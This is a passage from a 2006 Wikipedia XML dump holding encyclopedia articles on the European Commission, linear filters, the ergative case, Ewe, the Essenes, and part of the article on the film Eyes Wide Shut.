:''Main article: [[Directorate-General]]''

The Commission is divided into departments known as Directorates-General (DG) that can be likened to [[Ministry (government department)|government ministries]]. The DGs cover either internal policies (e.g. the [[Directorate-General for Information Society and Media]]), external policies (e.g. the [[Directorate-General for External Relations]]) or internal services (e.g. the [[Directorate-General for Translation (European Commission)|Directorate-General for Translation]]).  Each Directorate-General is supervised by a senior [[civil service|civil servant]] known as the [[Director-General]], who reports directly to the Commissioner or Commissioners responsible for that policy area. [http://publications.eu.int/code/en/en-390600.htm (Full list of DGs)]

== History ==
The Commission originated in the High Authority of the [[European Coal and Steel Community]], which was established in 1952 under the terms of the Treaty Establishing the European Coal and Steel Community. In 1958 two further bodies were established under the terms of the Treaties of Rome. These were the Commission of the European Economic Community and the Commission of the European Atomic Energy Community . Finally, in 1967, these three bodies merged to form the Commission of the European Communities, established under the terms of the Merger Treaty. This is the body that continues to exist to this day.

==Decision-making procedure==
Individual commissioners take responsibility for advancing the work of European Commission in their areas of interest, but any key decisions are generally taken collectively by the Commission as a whole. To make this possible, there are regular meetings of all the Commissioners, which have two types of agenda items [http://europa.eu.int/comm/secretariat_general/meeting/index_en.htm]:
*'''A-item''' is an item that is not controversial and can be passed without discussion
*'''B-item''' still needs discussion before being accepted

==Criticism of the Commission==
''Main article: [[Democratic deficit]]''

Many [[Euroscepticism|eurosceptic]]s argue that the European Commission, its appointment and powers exemplify the alleged [[democratic deficit]] in the European Union.

Furthermore, specific recent actions of the Commission have been heavily criticised by eurosceptics. For instance, although the proposed [[Treaty establishing a constitution for Europe|European constitution]] has been abandoned following the [[French referendum on the European Constitution|French]] and [[Dutch referendum on the European Constitution|Dutch]] &quot;no&quot; votes, there has been controversy over the Commission's decision to continue with several initiatives for which it is argued that only the Constitution would have provided a legal basis [http://www.hannan.co.uk/eurobriefings.htm#constitutioninforce]. These allegedly include the proposed [[European Defence Agency]], [[Frontex|External Borders Agency]], [[Human Rights Institute]], the [[Charter of Fundamental Rights]], the [[European Public Prosecutor]], politico-military structures, a collective security clause, a diplomatic service and even a space policy.

The Commission has also been criticised over its proposal for a [[European Political Parties Directive]], which seeks to provide state funding for Europe-wide political parties. This has been seen by some as an attempt to put [[Euroscepticism|eurosceptic]] parties, which arguably would not meet the funding criteria, at a financial disadvantage [http://www.hannan.co.uk/eurobriefings.htm#whycourt]. Some eurosceptic commentators see this as an attempt by the European Commission to further its own views and quieten dissenters who might challenge them.

==See also==
* [[Institutions of the European Union]]
* [[President of the European Commission]]
* Commissions
** [[Thorn Commission]]
** [[Delors Commission]]
** [[Santer Commission]]
** [[Prodi Commission]]
** [[Barroso Commission]]

* [[Directive on the patentability of computer-implemented inventions]], a legislative proposal which caused controversy over how much power the European Commission should have
* [[Democratic deficit]], an alleged EU failing which some commentators say is exemplified by the Commission

== External links ==
*[http://europa.eu.int/comm/index_en.htm European Commission]
*[http://europa.eu.int/comm/represent_en.htm Representations of the European Commission in the Member States]

*[http://www.ena.lu?lang=2&amp;doc=4166 All the presidents of the European Commission on www.ena.lu]
*[http://www.eu-exams.com Non affiliated website that helps people find jobs with the European Commission]

== Criticism and discussion ==
*[http://www.democracyineurope.com Democracy in Europe]
*[http://www.ufppc.org/content/view/3615/ George Parker, &quot;Right Turn Ahead,&quot; ''Financial Times'' (London), Nov. 10, 2005]


[[Category:European Commission|*]]

[[bg:Европейска комисия]]
[[ca:Comissió Europea]]
[[cs:Evropská komise]]
[[cy:Comisiwn Ewropeaidd]]
[[da:Europa-Kommissionen]]
[[de:Europäische Kommission]]
[[et:Euroopa Komisjon]]
[[es:Comisión Europea]]
[[eo:Eŭropa Komisiono]]
[[fr:Commission européenne]]
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[[is:Framkvæmdastjórn Evrópusambandsins]]
[[it:Commissione europea]]
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[[lv:Eiropas Komisija]]
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[[lb:Europäesch Commissioun]]
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[[pt:Comissão Europeia]]
[[ro:Comisia Europeană]]
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[[sl:Evropska komisija]]
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[[fi:Euroopan komissio]]
[[sv:Europeiska kommissionen]]</text>
    </revision>
  </page>
  <page>
    <title>Linear filter</title>
    <id>9975</id>
    <revision>
      <id>40505264</id>
      <timestamp>2006-02-21T01:27:24Z</timestamp>
      <contributor>
        <username>Jeff3000</username>
        <id>170884</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">A '''linear filter''' applies a [[linear operator]] to a time-varying input signal. Linear filters are very common in [[electronics]] and [[digital signal processing]] (see the article on [[electronic filter]]s), but they can also be found in [[mechanical engineering]] and other technologies. 

They are often used to eliminate unwanted [[frequency|frequencies]] from an input [[Signal (information theory)|signal]] or to select a wanted frequency amongst many others. There are a wide range of types of filter and filter technologies, of which this article will present an overview.  

Regardless of whether they are electronic, electrical, or mechanical, or what frequency ranges or timescales they work on, the mathematical theory of linear filters is universal.

== Classification by transfer function ==
=== Impulse response ===
Linear filters can be divided into two classes: [[infinite impulse response]] (IIR), and [[finite impulse response]] (FIR) filters. In general, a filter with a compact frequency response will have an infinite impulse response and a filter with a compact impulse response will have an infinite frequency response. Until recently, only analog IIR filters were practical to construct. However, technologies such as [[analog delay line]]s and [[digital filter]]s have made the construction of FIR filters practical.

=== Frequency response ===
There are several common kinds of linear filters:
*A [[low-pass filter]] passes low frequencies.
*A [[high-pass filter]] passes high frequencies.
*A [[band-pass filter]] passes a limited range of frequencies.
*A [[band-stop filter]] passes all frequencies except a limited range.
*An [[all-pass filter]] passes all frequencies, but alters the phase relationship among them.
*A [[notch filter]] is a specific type of band-stop filter that acts on a particularly narrow range of frequencies.
* some filters are not designed to stop any frequencies, but instead to gently vary the amplitude response at different frequencies: filters used as [[pre-emphasis filter]]s, [[equalization|equalizer]]s, or [[tone control]]s are good examples of this 

Band-stop and band-pass filters can be constructed by combining low-pass and high-pass filters.
A popular form of 2 [[pole (complex analysis)|pole]] filter is the [[Sallen Key filter|Sallen-Key]] type. This is able to provide low-pass, band-pass, and high pass versions.

== Mathematics of filter design ==
Linear filters of all types can be completely described by their [[frequency response]] and [[phase response]], the specification of which uniquely defines their [[impulse response]], and ''vice versa''. From a mathematical viewpoint, continuous-time IIR filters may be described in terms of linear [[differential equation]]s, and their impulse responses considered as [[Green's function]]s of the equation. Continuous-time filters can also be described in terms of the [[Laplace transform]] of their impulse response in a way which allows all of the characteristics of the filter to be easily analyzed by considering the pattern of [[pole (complex analysis)|pole]]s and [[zero (complex analysis)|zero]]s of their Laplace transform in the [[complex plane]].

Before the advent of computer filter synthesis tools, graphical tools such as [[Bode plot]]s and [[Nyquist plot]]s were extensively used as design tools. Even today, they are invaluable tools to understanding filter behavior.

Many different analog filter designs have been developed, each trying to optimise some feature of the system response. For practical filters, a custom design is sometimes desirable, that can offer the best tradeoff between different design criteria, which may include component count and cost, as well as filter response characteristics. 

Some classic IIR filter types include the following:
* [[Bessel filter]]s
* [[Butterworth filter]]s
* [[Chebyshev filter]]s
* [[Elliptic filter|Cauer filters]] ([[elliptic filter]]s)

These descriptions refer to the ''mathematical'' properties of the filter (that is, the frequency and phase response). These can be ''implemented'' as analog circuits (for instance, using a [[Sallen Key filter]] topology, a type of [[active filter]]), or as algorithms in [[digital signal processing]] systems.

Digital filters are much more flexible to synthesize and use than analog filters, where the constraints of the design permits their use. Notably, there is no need to consider component tolerances, and very high Q levels may be obtained.

FIR digital filters may be implemented by the direct [[convolution]] of the desired impulse response with the input signal.

IIR digital filters are also easy to design. However, IIR digital filters do have their own mathematical design problems, in particular relating to dynamic range and roundoff nonlinearity problems.

==See also==
* [[Filter design]]
* [[Laplace transform]]
* [[Green's function]]
* [[Z-transform]]
* [[System theory]]
** [[LTI system theory]]
* [[Non-linear filter]]
* [[Wiener filter]]

==External links and references==
* {{cite book|author=Williams, Arthur B &amp; Taylor, Fred J|title=Electronic Filter Design Handbook|publisher=McGraw-Hill|year=1995|id=ISBN 0-07-070441-4}} The Bible for practical electronic filter design.

* [http://www.national.com/an/AN/AN-779.pdf National Semiconductor AN-779] application note describing analog filter theory

[[Category:Linear filters|*]]

[[fr:Filtre linéaire]]
[[pt:Filtro linear]]</text>
    </revision>
  </page>
  <page>
    <title>Ergative case</title>
    <id>9976</id>
    <revision>
      <id>37095455</id>
      <timestamp>2006-01-28T17:05:36Z</timestamp>
      <contributor>
        <ip>80.53.142.78</ip>
      </contributor>
      <comment>+pl</comment>
      <text xml:space="preserve">{{Table Cases}}

In [[ergative-absolutive language]]s, the '''ergative case''' identifies the [[subject (grammar)|subject]] of a [[transitive verb]]. In such languages, the ergative case is typically [[Markedness|marked]] (most salient), while the [[absolutive case]] is unmarked. New work in [[case theory]] has vigorously supported the idea that the ergative case identifies the agent (intentful doer of action) of a verb (Woolford 2004). Furthermore, the agent has been shown to have a fixed location in which it is base-generated in the specifier of a light-verb projection within [[X-bar theory]].

Ergative languages may be syntactically or morphologically ergative, or both.

[[Basque language|Basque]] is ergative-absolutive language.
Certain [[Australian Aboriginal languages]] (e.g., [[Warlpiri language|Warlpiri]]) possess an [[intransitive case]] and an [[accusative case]] along with an ergative case, and lack an [[absolutive case]]; such languages are called [[ergative-accusative language]]s or [[tripartite language]]s.

== See also ==

* [[Morphosyntactic alignment]]

== Reference ==

[http://people.umass.edu/ellenw/ Woolford, Ellen.] ''Lexical Case, Inherent Case, and Argument Structure.'' August 2004.

{{ling-stub}}

[[Category:Grammatical cases]]

[[cs:Ergativ]]
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[[eo:Ergativo]]
[[gl:ergativo]]
[[ja:能格と絶対格]]
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[[pl:Ergativus]]
[[sv:Ergativ]]</text>
    </revision>
  </page>
  <page>
    <title>Ewe</title>
    <id>9977</id>
    <revision>
      <id>28671715</id>
      <timestamp>2005-11-18T14:20:14Z</timestamp>
      <contributor>
        <username>Jannex</username>
        <id>160206</id>
      </contributor>
      <minor />
      <comment>+:fi</comment>
      <text xml:space="preserve">*'''Ewe''' is an [[ethnic group]] from West Africa, in [[Ghana]], [[Benin]] and [[Togo]]. See [[Ewe (people)]] and [[Ewe music]].
*'''Ewe''' is also the name of the [[Gbe languages|Gbe]] language spoken by the Ewe people; see [[Ewe language]].
*The [[English language|English]] word &quot;'''ewe'''&quot; ([[International Phonetic Alphabet for English|pronounced]] {{IPA|/ju:/}}) is also the singular form for a female [[sheep]].

{{disambig}}

[[fi:Ewe]]</text>
    </revision>
  </page>
  <page>
    <title>Essenes</title>
    <id>9978</id>
    <revision>
      <id>40600496</id>
      <timestamp>2006-02-21T19:15:16Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca</comment>
      <text xml:space="preserve">The '''Essenes''' (es'-eenz) were followers of a religious way of living in [[Judaism]] that flourished from the [[2nd century BC]] to the [[1st century|1st century AD]]. Many scholars today argue that there were a number of separate but related groups that had in common [[mysticism|mystic]], [[Jewish eschatology|eschatological]], [[Jewish Messiah|messianic]], and [[asceticism|ascetic]] beliefs that were referred to as the &quot;Essenes&quot;. There are also contemporary movements which identify themselves as Essenes, including the &quot;Orthodox&quot; [[Christian Essenes]].

== Contemporary ancient sources ==
The main source of information about the life and belief of Essenes is the detailed account contained in a work of the 1st century Jewish historiographer [[Josephus]] entitled [[The Jewish War]] written about 73-75 CE (''War'' 2.119-161) and his shorter description in his [[The Antiquities of the Jews|Antiquities]] finished some 20 years later (''Ant.'' 18.11 &amp; 18-22). Claiming first hand knowledge (''Life'' §§10-11), he refers to them by the name ''Essenoi'' and lists them as the followers of one of the three &quot;choices&quot; in &quot;Jewish Philosophy'&quot; (''War'' 2.119) alongside the [[Pharisees]] and the [[Sadducee|Sadduccees]]. The only other known contemporary accounts about the Essenes are two similarly detailed ones by the Jewish philosopher [[Philo]] (fl. c. 20 BCE - c. 54 CE; ''Quod Omnis Probus Liber Sit'' XII.75-87, and the excerpt from his ''Hypothetica'' 11.1-18 preserved by [[Eusebius]], ''Praep. Evang.'' Bk VIII), who, however, admits to not being quite certain of the Greek form of their name that he recalls as ''Essaioi'' (''Quod Omn. Prob.'' XII.75), and the brief reference to them by the Roman [[equestrian]] [[Pliny the Elder]] (fl. 23 CE - 79 CE; ''Natural History'', Bk 5.73).

The [[Dead Sea Scrolls]], found in caves at [[Qumran]], are widely but not universally believed to be the work of Essenes or to reflect Essene beliefs.  See [[#Scholarly discussion|below]].

== Name ==
Josephus uses the name ''Essenes'' in his two main accounts (''War'' 2.119, 158, 160; ''Ant.'' 13.171-2) as well as in some other contexts (&quot;an account of the Essenes&quot;, ''Ant.'' 13.298; &quot;the gate of the Essenes&quot;, ''War'' 5.145; &quot;Judas of the Essene race&quot;, ''Ant.'' 13.311, but some mss read here ''Essaion''; &quot;holding the Essenes in honour&quot;, ''Ant.'' 15.372; &quot;a certain Essene named Manaemus&quot;, ''Ant.'' 15.373; &quot;to hold all Essenes in honour&quot;, ''Ant.'' 15.378; &quot;the Essenes&quot;, ''Ant.'' 18.11 &amp; 18; ''Life'' 10). In several places, however, Josephus has ''Essaios'', which is usually assumed to mean ''Essene'' (&quot;Judas of the ''Essaios'' race&quot;, ''War'' I.78; &quot;Simon of the ''Essaios'' race&quot;, ''War'' 2.113; &quot;John the ''Essaios''&quot;, ''War'' 2.567; 3.11; &quot;those who are called by us ''Essaioi''&quot;, ''Ant.'' 15.371; &quot;Simon a man of the ''Essaios'' race&quot;, ''Ant.'' 17.346). Philo's usage is ''Essaioi'', although he admits this Greek form of the original name that according to his etymology signifies &quot;holiness&quot; to be inexact (''NH'' XII.75). Pliny's Latin text has ''Esseni''.

The origin of the name ''Essenes'' is debated. Some credible possibilities are either a version of the [[Greek language|Greek]] word for &quot;[[holy]]&quot;, or an [[Aramaic language|Aramaic]] [[dialect]] term for &quot;pious&quot;. [[Geza Vermes]], a scholar and writer on religious history, traces the word to the Aramaic &quot;Esaoin&quot;, meaning &quot;followers of Esa&quot;.  Vermes identifies this with [[Isa]], an early name for [[Jesus]]; other scholars disagree with this etymology.

Hitherto no ancient texts have been discovered where their authors admit to being themselves followers of the Essene way of religious living, or claim to commit Essene thoughts and doctrine to writing. If, however, the inhabitants of the settlement at Qumran had indeed been Essenes, and if certain scrolls discovered in the caves near Qumran have Essenes for their authors, or at least contain Essene texts, then it may be said from those scrolls that the Essenes referred to themselves as &quot;Sons of Light&quot;.

== Location ==
According to Josephus the Essenes had settled &quot;not in one city&quot; but &quot;in large numbers in every town&quot; (''War'' 2.124). Philo speaks of &quot;more than four thousand&quot; ''Essaioi'' living in &quot;Palestinian Syria&quot; (''Quod Omn. Prob.'' XII.75), more precisely, &quot;in many cities of Judaea and in many villages and grouped in great societies of many members&quot; (''Hyp.'' 11.1).

Some modern scholars and archeologists have argued that Essenes inhabited the settlement at [[Qumran]], a [[plateau]] in the [[Judean Desert]] along the [[Dead Sea]]. While Pliny's location (&quot;on the west side of the Dead Sea, away from the coast ... [above] the town of [[En Gedi|Engeda]]&quot;) tends to be cited in support of this identification, there is as yet no conclusive proof for this hypothesis. Nevertheless, it has come to dominate the scholarly discussion and public perception of the Essenes; and this article therefore takes it for its premise.

== History==
It has been suggested that the Essenes have come into existence as a protest following the purchase by Yehoshua Ben-Shimon II (Jason son of Simon) of the high priesthood from [[Antiochus IV Epiphanes]] in [[175 BC]]. Subsequently the Essenes referred to Yehoshua ben Shimon and his genealogically unqualified successors as The Wicked Priest (Kohein ha-Resha lit. bad priest, instead of Kohein ha-Gadol). However, others have suggested that Queen [[Salome Alexandra]]'s son [[Hyrcanus II]] ([[63 BC]]-?) and the other Roman collaborators that succeeded to him are the best qualified for the Wicked Priest appellation. Either way the new illegitimate priesthood became known as the [[Sadducees]].

It is thought that the memories of a certain [[Yeshu]] ([[110 BC|110]]-[[70 BC|70]]) in the [[Talmud]] may refer to one who the Essenes called Matif ha-Kaza (the babbling preacher of lies). Likewise the &quot;man of lies&quot; (Ish ha-Kazav) has been identified variously as his contemporary Shimeon ben Shetah ([[80 BC|80]]-[[50 BC|50]]) or the later [[Shammai|R. Shammai]] ([[40 BC]]-AD [[20]]). It is thought that to secure the position of Av Beth Din, Shammai drove his predecessor Menahem, his and [[Hillel]]'s followers to become Essenes. The aged Shammai attained complete ascendancy until AD [[30]] after Hillel died in AD [[20]] and Shammai passed [[the 18 measures]]. That day is compared to the day when the [[golden calf]] was built (Shabbat 17A).

== Rejection of the Jerusalem cultus ==
Presuming the identification of the Essenes as the inhabitants of Qumran and as authors of the texts in certain scrolls found in the caves nearby, the Essenes were the followers of a group of priests who had essentially rejected the [[Second Temple]]. They argued that the Essene community was itself the new Temple, although they did not reject the notion of the temple outright. Eventually, they believed, they would be triumphant, gaining control of the temple and remaking it according to their own ideals. Accordingly, the destruction of the Second Temple in [[70]] was for them a symbol of imminent victory. With this came the end of the Sadducees and the end of the house of Shammai. They also believed strongly in the end-times and wrote an entire scroll on that subject. The &quot;Rule of War&quot; detailed the battle plans for the &quot;final&quot; battle.

== Rules, customs and theology ==
The accounts by Josephus and Philo show that the Essenes (Philo: ''Essaioi'') led a strictly [[celibate]] but [[communal]] life − often compared by scholars to Christian [[monastic]] living −, although Josephus speaks also of another &quot;''rank'' of Essenes&quot; that did get married (''War'' 2.160-161). According to Josephus, they had customs and observances such as collective ownership (''War'' 2.122; ''Ant.'' 18.20), elected a leader to attend to the interests of them all whose orders they obeyed (''War'' 2.123, 134), were forbidden from [[swearing]] oaths (''War'' 2.135) and [[animal sacrifice| sacrificing animals]] (Philo, §75), controlled their temper and served as channels of peace (''War'' 2.135), carried [[weapon]]s only as protection against robbers (''War'' 2.125), had no [[slavery|slaves]] but served each other (''Ant.'' 18.21) and, as a result of communal ownership, did not engage in [[trade|trading]] (''War'' 2.127). Both Josephus and Philo have lengthy accounts of their communal meetings, meals and religious celebrations. From what has been deduced, the food of the Essenes was not allowed to be altered (by being [[cooked]], for instance); and they may have been strict vegetarians, eating mostly [[bread]], wild [[roots]] and fruits. After a total of three years probation (''War'' 2.137-138), newly joining members would take an oath that included the commitment to practise piety towards the Deity and righteousness towards humanity, to maintain a pure life-style, to abstain from criminal and immoral activities, to transmit their rules uncorrupted and to preserve the books of the Essenes and the names of the Angels (''War'' 2.139-142). Their theology included belief in the immortality of the soul and that they would receive their souls back after death (''War'' 2.153-158, ''Ant.'' 18.18).

== Dissolution ==
When the Romans overran Jerusalem in 70 CE, the authors of the writings found at Qumran assumed to have been Essenes believed this to be the time to fight the great and final battle with the Sons of Darkness, as prophesied. They had prepared for it and apparently threw everything they had into it. They may have thought they were unbeatable, according to prophecy; but they were not strong enough to withstand the Romans. The inhabitants of Qumran, presumed to have been the greater number of the Essenes, were destroyed by the [[Roman legions]] in 68 CE as part of the Roman movements to take back [[Judea]]. It has been suggested that, consequently, the few remaining Essenes elsewhere were no longer able to maintain their identity, and that some of them merged with the Hillelite [[Pharisees]], out of which was born the tradition of Rabbinical Judaism.

== Scholarly discussion ==
The Essenes are discussed in detail by [[Josephus]] and [[Philo]]. Many scholars believe that the community at Qumran that allegedly produced the Dead Sea Scrolls was an offshoot of the Essenes; however, this theory has been disputed by [[Norman Golb]] and other scholars. Some suggest that [[Jesus]] of Nazareth was an Essene, and that [[Christianity]] evolved from this sect of Judaism, with which it shared many ideas and symbols.

According to [[Martin A. Larson]], the now misunderstood Essenes were Jewish [[Pythagoreans]] who lived as monks. As vegetarians, celibates, and self-reliant communists who shunned marriage and family, they preached a coming war with the Sons of Darkness. As the Sons of Light, this reflected a separate influence from [[Zoroastrianism]] via their parent ideology of Pythagoreanism. According to Larson, both the Essenes and Pythagoreans resembled ''thiasoi'', or cult units of the [[Orphic]] mysteries. [[John the Baptist]] is widely regarded to be a prime example of an Essene who had left the communal life (see ''Ant.'' 18.116-119), and it is thought they aspired to emulate their own founding ''Teacher of Righteousness'' who was probably crucified.

Another issue is the relationship between the ''Essaioi'' and Philo's ''[[Therapeutae]]'' and ''Therapeutrides'' (see ''De Vita Contemplativa''). It may be argued that he regarded the ''Therapeutae'' as a contemplative branch of the ''Essaioi'' who, he said, pursued an active life (''Vita Cont.'' I.1).

== Modern and contemporary Essenes ==
Several [[new religious movement]]s claim spiritual descent from the ancient Essenes and describe themselves as Essenes.  These groups believe that the canon of the [[Bible]], and even some translations of books considered &quot;canonical,&quot; were changed by various hands to censor Essene beliefs in the scriptures, such as [[transmigration]], the [[Shekhinah|feminine aspect of Divinity]] and a preference for [[vegetarianism]].  The Dead Sea Scrolls form the basis for much of their beliefs.

== Essenes in fiction ==
The Essenes are an important part of [[H. Rider Haggard]]'s ''Pearl-Maiden: A Tale of the Fall of Jerusalem''. [http://onlinebooks.library.upenn.edu/webbin/gutbook/lookup?num=5175]

== References ==
* Bergmeier, Roland. 1993. Die Essener-Berichte des Flavius Josephus. Kok Pharos, Kampen, [[ISBN]] 90 390 0014 X.
* Briggs, Curtis. 1998. The Dead Sea Scrolls (VHS). Discovery Channel Video
* Falk, Harvey R. 1985
* Francis Legge, ''Forerunners and Rivals of Christianity, From 330 B.C. to 330 A.D. '' (1914), reprinted as two volumes bound as one, University Books New York, 1964. LC Catalog 64-24125.
* Golb, Norman. 1985. &quot;Who Wrote the Dead Sea Scrolls? The Search for the Secret of Qumran&quot;. Scribner
* Sanders, E.P., 1992. &quot;Judaism: Practice &amp; Belief 63BCE - 66CE&quot; Minneapolis: Fortress
* Schiffman, Lawrence H. 1991. &quot;From Text to Tradition: A History of Second Temple &amp; Rabbinic Judaism&quot;. Ktav Publishing House
* Smith, Enid S., Ph.D., 1959, ''The Essenes Who Changed Churchianity''

==External links==
*[http://www.newadvent.org/cathen/05546a.htm New Advent (Catholic Encyclopedia) entry on the Essenes]
*[http://ccat.sas.upenn.edu/~humm/Rs/rak/courses/225/texts/ESSENES Thematically compiled comparison of the parallels in the ancient sources]
*[http://www.essene.org One of several new religious movements claiming descent from the Essenes]
*[http://creativeendeavors.com/IBS/ Library of published Research and Writings of Professor Edmund Bordeaux Székely on the Essenes.]

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[[Category:Ancient Jewish Roman history]]
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  <page>
    <title>Eyes Wide Shut</title>
    <id>9979</id>
    <revision>
      <id>41199099</id>
      <timestamp>2006-02-25T19:01:21Z</timestamp>
      <contributor>
        <username>Violncello</username>
        <id>916612</id>
      </contributor>
      <minor />
      <comment>dab</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Eyes Wide Shut |
  image          = EyesWideShutPoster.jpg |
  director       = [[Stanley Kubrick]] |
  producer       = [[Stanley Kubrick]] |
  writer         = [[Arthur Schnitzler]] (novel ''[[Traumnovelle]]'')&lt;BR \&gt; [[Stanley Kubrick]] (screenplay) &lt;BR \&gt; [[Frederic Raphael]] (screenplay)&lt;BR \&gt;  |
  starring       = [[Tom Cruise]] &lt;BR \&gt; [[Nicole Kidman]] |
  distributor    = [[Warner Bros.]] |
  released   = [[13 July]], [[1999]] |
  runtime        = 159 min. |
  language = English |
  budget         = $65,000,000 |
  music          = |
  awards         = |
  rating in USA  = |'''NC-17'''(uncut) / '''R'''(edited)
  imdb_id        = 0120663 |
|}}

'''''Eyes Wide Shut''''' ([[1999]]) is a [[erotic]] [[mystery]] [[film]] by [[Stanley Kubrick]] based on the novella ''[[Traumnovelle]]'' by [[Arthur Schnitzler]]. The film stars [[Tom Cruise]] and [[Nicole Kidman]], who were a real-life husband and wife at the time of the production. Kubrick died shortly after completing the editing of the film. After a long shooting schedule, the film was released to a mixed critical reaction.

{{spoiler}}

==Synopsis==
The storyline follows the surreal, possibly imagined, sexual adventures and misadventures of Dr. Bill Harford (Cruise), who is in shock after his wife, Alice, (Kidman) reveals that she has considered an affair, and which culminates in his admittance to a bizarre [[orgy]] held in a mysterious mansion near [[New York City]]. The orgy sequence, which includes elements of [[Hieros Gamos]] symbolism, contains some of the most explicit portrayals of consensual sex in mainstream cinema. Some have also perceived [[Illuminati]] symbolism in the movie.

==Comparison to ''Traumnovelle''==
The film's puzzling narrative has inspired several interpretations, many of which see the film as a [[psychoanalysis|psychological]] [[allegory]], often as a dream, rather than as a straightforward drama.

''Eyes Wide Shut'' is a fairly faithful adaptation of Arthur Schnitzler's ''Traumnovelle'' (or ''Dream Story''), but it leaves out one important piece of information that might have served as the key to understanding it. In Schnitzler's novella, Fridolin, the Bill Harford equivalent, is told by his wife that she first began to fantasize about infidelity while they were on holiday in [[Denmark]]. When Fridolin goes on his strange journey and arrives at the masked ball, the password is &quot;Denmark&quot;.  Schnitzler does not resolve whether Fridolin's journey is a dream or is meant to be interpreted literally.

In ''Eyes Wide Shut'', the password is changed to &quot;Fidelio&quot;, a word that points at the theme of marital fidelty, but does not indicate clearly that Bill's journey is a dream.  (&quot;[[Fidelio]]&quot; is also the name of [[Ludwig van Beethoven|Beethoven]]'s only [[opera]] which, appropriately, has matrimonial fidelity as its subject matter. See [[A Clockwork Orange]] for more allusions to Beethoven by Kubrick.)  Kubrick also does not resolve how the movie should be interpreted.

==Stylistic features==
[[Image:Eyes_wide_shut_film_poster.jpg|170px|thumb|Poster artwork. Kubrick used the [[Futura_(typeface)|Futura Extra Bold]] [[typeface]] in the publicity materials and credit sequences of many of his films.]]
===Cinematography and ''mise-en-scène''===
Kubrick adopted several stylistic conventions in ''Eyes Wide Shut''.  As with ''[[Barry Lyndon]]'', much of the lighting in &quot;Eyes Wide Shut&quot; comes from the 'pratical' lights (the lights that can be seen in the shot and are meant to be the source of light within the fiction of the story). Kubrick's style can best be described as 'simulated natural lighting' because it looks closer to the way lighting looks in real life as opposed to movies, but is still artificial. For example, the scene with the man in the red cloak and gold mask is lit by a 'pratical' spotlight from high above that one could describe as existing within the fiction of the movie, but the darker shadow areas were lit to some extent by a diffuse fill light that is not motivated by any source within the scene, perhaps a 'china ball' or helium ballon fixture off screen. Kubrick occasionally departs from this naturalistic strategy into overt, unrealistic expressionism such as the intensly saturated blue light that flood the bathroom of the Harfords when they are arguing or the same blue light coming in through the windows of Ziegler's billard room. The film negative was 'pushed' in processing to increase the speed of the film, thus allowing for the use of natural lighting. &quot;Eyes Wide Shut&quot; made extensive use of Christmas lights (the story is set in the Christmas season). The colours red, blue, yellow and green feature predominantly in the film.  This is enhanced by the use of Christmas decorations.  It is often suggested that the colour scheme is an important symbolic schemata.  This theory has weight, considering the four 'modern art' posters in the hospital hallway which individually consist of these colours (suggesting a consonance of location and symbolic meaning) and Kubrick's reputation as a master of detail.  More simply it may suggest the primal or basic nature of the thematic content.  Shop-fronts and street signs also express a quasi-semiotic meaning in that they convey information to an observant audience that the characters are unaware of.  For example, before Bill enters the prostitute's apartment building, they stop at a store with the sign 'The Lotto Shop', perhaps indicating that he is gambling with his health.

===Theatrum mundi===
With ''A Clockwork Orange'', ''Eyes Wide Shut'' is the most theatrical of Kubrick's works. This theatricality is expressed on two different and complementary levels, aesthetic and symbolic, which together compose what critic [[Michel Ciment]] calls &quot;A ''trompe-l'oeil'' universe&quot;, where what seems real is fake, and where everything is ambivalent, deceitful. Dr. Bill Harford's shift from the well-established world of his certainties to an unfamiliar world hidden behind (inside) the well-established one, is a shift from what seems real (and which Bill takes for granted) to what in fact is different, if not the opposite of what it seemed. The &quot;reality&quot; in which Bill believes, the one he lives in, is true as a backdrop. Against his will he will discover that Ziegler has a double life (on the evening of the party at his mansion he betrays his wife, by his own admission he was among the masked guests gathered at Somerton), that Nick Nightingale, his old pal from college, who now plays in a jazz band, also plays the piano at the mysterious night gatherings at which Ziegler participates.

Like Militch, the disreputable owner of the costume shop &quot;Rainbow&quot; (who rents costumes and acts as pimp for his own daughter), these characters are something and at the meantime something else, they play an official role that hides a covert one, (like the two Japanese business men with make up and wigs who amuse themselves with Militch's daughter), equal in this to the masked guests attending an ominous ceremony (&quot;I'm not gonna tell you their names, but if I did, I don't think you'd sleep so well&quot;, Ziegler tells Bill, implying the prestige and power they have in their day life). But even Marion Nathanson, the daughter of Bill's dead patient, who unexpectedly reveals her feelings for him (she is engaged to a mathematics professor), shows a sudden duplicity similar to that of Alice.

&quot;Domino&quot;, the nickname of the prostitute Bill meets, is not arbitrary, for it suggests both dominance, sexual subjugation, and the carnival costume (which by itself evokes conspiracy and mystery and is worn by all the participants to the ceremony), and is also in relation to another name, Beethoven's &quot;Fidelio&quot; (the password that allows Bill to get inside Somerton) which can be either a reference to conjugal fidelity or, once more, to dressing-up (in the homonymous opera, Leonore disguises herself as a male prison guard in order to save her beloved husband Florestan). Thanks to a password which is in itself a mark of ambiguity, dressed-up as a member of a secret confraternity, Dr. Bill Harford will gain access to the gloomiest circle of his progressive descent into darkness. Somerton Manor is where theatrics reaches its visual apex, a place in which everything is carefully staged (&quot;It was a kind of charade&quot;, Ziegler will say later) and where also Bill, his face covered by a mask, participates to the general game of concealment.

Like '''A Clockwork Orange''', '''Eyes Wide Shut''' is a movie that strongly insists on the staged, counterfeit nature of identities together (consequently) with its emphasis on the blurring of the line between  truth and fiction. This atmosphere is also strongly emphasized by the studio reconstruction of Lower Manhattan, extremely accurate  as usual with Kubrick  in all its details, but at the same time unequivocally fake. A city suspended like all the rest between dream and reality, expressionism and realism, that would have pleased Cornell Woolrich and Fritz Lang. An actual but magically anachronistic place (as Johnatan Rosenbaum has noticed, the &quot;Sonata Cafe&quot;, the club where Nightingale plays, brings us back to the [[1950s]]), full of ironic cross-references (the &quot;Verona&quot; restaurant, the Viennese cafe where Bill stops reading a newspaper, Militch's &quot;Rainbow&quot; shop, etc.). This modern and bygone New York is just another facade of which, for Kubrick, in his last film, the world is entirely made of.

===Narrative structure===
The story follows a dramatic structure of leaving the familiar world, entering situations that are in some way an otherworld, and returning to the familiar world.  In the third part of the movie, Bill revisits the scenes of the adventures he had the night before.  This is reminiscent of the structure Kubrick used in ''[[A Clockwork Orange]]'', in which the character Alex revisits each of the locations at which he performed violent acts in the first part of that movie.  Each location of Dr. Bill's unactualized sexuality is stripped of sexual mystique.

